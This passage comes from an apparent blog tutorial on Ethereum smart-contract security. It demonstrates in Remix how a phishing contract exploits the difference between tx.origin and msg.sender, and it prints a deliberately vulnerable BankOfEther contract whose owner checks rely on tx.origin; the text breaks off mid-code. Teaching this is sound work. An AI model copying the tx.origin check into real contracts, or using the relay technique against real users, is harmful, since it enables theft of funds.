</span></span></span><!--[endif]-->Select the second account in the dropdown list</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Compile and deploy Call_Hello.sol</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Select any other account to simulate the victim
account calling the attackers Call_Hello contract</p><p class="MsoListParagraphCxSpLast" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->After each is pressed review the transaction
output address and walk through in your head what you are reviewing before
moving on. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">If you
performed the above action steps you would notice something similar to the
following. First, I deploy my target contract with account one, which got
deployed to the address:<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraph" style="line-height: normal; margin-bottom: 0in; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->0xdCDB4db4a54F689ECC486d8BAcC08Cde4AC7FcA8</p></blockquote></blockquote><p class="MsoListParagraph" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCG96b8jj5Okw8GULFuX62i-pCCq8JkFULVFfLzqy1XmmVwtjQRDcf1Ydb3bvwW_AjwWmJM67eyRTpgbw1AQXrYyYKCqMr70WU0PFLKtUo-rvdOhGZAEnLk09FNMp7y5_vzVkX1VYGWNqZ/s384/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="171" data-original-width="384" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCG96b8jj5Okw8GULFuX62i-pCCq8JkFULVFfLzqy1XmmVwtjQRDcf1Ydb3bvwW_AjwWmJM67eyRTpgbw1AQXrYyYKCqMr70WU0PFLKtUo-rvdOhGZAEnLk09FNMp7y5_vzVkX1VYGWNqZ/w400-h178/2.png" width="400" /></a></div><br /><o:p><br /></o:p><p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Next, I replace
the address in the following line of the attackers phishing contract Call_Hello
with the address from above, using the copy button to the right of the address
in the above screenshot: <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in; text-align: left;">targetInterface
helloInterface = targetInterface(0xdCDB4db4a54F689ECC486d8BAcC08Cde4AC7FcA8);</p></blockquote><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">I then switch
to Account two, and deploy the attackers phishing contract. This gives us the
attackers contract address: <span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraph" style="line-height: normal; margin-bottom: 0in; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->0x4e1426490dBfBa9110064fb912fe7221074cC0c9</p></blockquote><p class="MsoListParagraph" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK-ilVu6e22PRhWX6w5I_QeHyyiWmMIm1beH5wlIfUqu8eKL1_6_sIYDTmkmI4TT8HYIVGBwvemfw9J-zXeJv1U6SONjBhyphenhyphenNmWeSJhZhhR6qjAAUmVfGTe3D777eS4O4v60n1mHdBC07OZ/s385/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="168" data-original-width="385" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK-ilVu6e22PRhWX6w5I_QeHyyiWmMIm1beH5wlIfUqu8eKL1_6_sIYDTmkmI4TT8HYIVGBwvemfw9J-zXeJv1U6SONjBhyphenhyphenNmWeSJhZhhR6qjAAUmVfGTe3D777eS4O4v60n1mHdBC07OZ/w400-h175/3.png" width="400" /></a></div><br /><o:p><br /></o:p><p></p>
<p align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0in; text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_18" o:spid="_x0000_i1026" style="height: 126pt; mso-wrap-style: square; visibility: visible; width: 288.75pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Finally, I
switch to the third account, ( my social engineered victim account) with the
address: <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p class="MsoListParagraph" style="line-height: normal; margin-bottom: 0in; text-align: left; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->0x00bff3B21f6924D6e639Ce60e4Dac62Ec2c21269 </p></blockquote><p class="MsoListParagraph" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0in; text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_19" o:spid="_x0000_i1025" style="height: 100.5pt; mso-wrap-style: square; visibility: visible; width: 250.5pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image004.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGGXO_6gC1CsbD3Uh91ZrMMYaObBXd4-u5envVPxjzocxEvRbF6svl6B_pgNrPOBUxl4i03hn_YxU6OwLtBoBDpX7CEcDGKvBeRK1cNWz-SlYsZum7higjpMifp6W2IpVETr0BLVa7hwRY/s334/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="134" data-original-width="334" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGGXO_6gC1CsbD3Uh91ZrMMYaObBXd4-u5envVPxjzocxEvRbF6svl6B_pgNrPOBUxl4i03hn_YxU6OwLtBoBDpX7CEcDGKvBeRK1cNWz-SlYsZum7higjpMifp6W2IpVETr0BLVa7hwRY/w400-h160/4.png" width="400" /></a></div><br /><p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">If I then click
the myMSG button on the attackers contract I should get the attackers address
as the msg.sender resolves the address calling the contract. In this case I
call the attackers contract but the attacker’s contract is actually making the
call to the target contract, so the msg.sender is the attackers contract even though
or victim is the one clicking the button.<span style="mso-spacerun: yes;">
</span>Indeed, this is true, shown below, the attackers contract address is
returned when validated with msg.sender. <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">decoded output<span style="mso-spacerun: yes;"> </span>{<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="mso-spacerun: yes;"> </span>"0": "address:
0x4e1426490dBfBa9110064fb912fe7221074cC0c9" <o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">}<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Next I click
the myTX button which should return the victims address from the 3<sup>rd</sup>
account as the tx.origin check returns the original calling account of the
user, not the attackers contract making the call. Indeed, this is true, shown
below, the victims contract address is returned when validated with tx.origin.<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">decoded
output<span style="mso-spacerun: yes;"> </span>{<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">"0":
"address: 0x00bff3B21f6924D6e639Ce60e4Dac62Ec2c21269"<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">}<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p> </p>
<p class="MsoNormal">I hope that clears up any confusion as to the difference
between both msg.sender and tx.origin.<span style="mso-spacerun: yes;"> </span>We
will now take a look at a more comprehensive example with a bit of vulnerable
code to put this into context and show how to bypass some controls using this
attack method. <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Review this code prior to reading the
explanation. </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->What is wrong with the logic in this contract? </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->What would your path of exploitation be? </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->What would the impact of this attack be? </p><p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Type this code into remix and follow along with
the walk through</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo10; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-add-space: auto;"><o:p><br /></o:p></p><h3 style="margin-left: 0.5in; text-align: left;"><o:p>Simple Example Video Walk Through: </o:p></h3><p class="MsoNormal" style="margin-left: 0.5in; mso-add-space: auto;"><o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/OXzEsQjPzjA" width="320" youtube-src-id="OXzEsQjPzjA"></iframe></div><br /><p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto;"><o:p> </o:p></p>
<h2 style="text-align: left;">Vulnerable TX.Origin Example Walkthrough:</h2><div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract </span><span style="color: #89bdff;">BankOfEther</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>owner = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> transferTo(address payable to, </span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(tx.origin == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>to.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> changeOwner(address newOwner) </span><span style="color: #e28964;">public</span><span style="color: white;">{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(tx.origin == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>owner = newOwner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 2;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 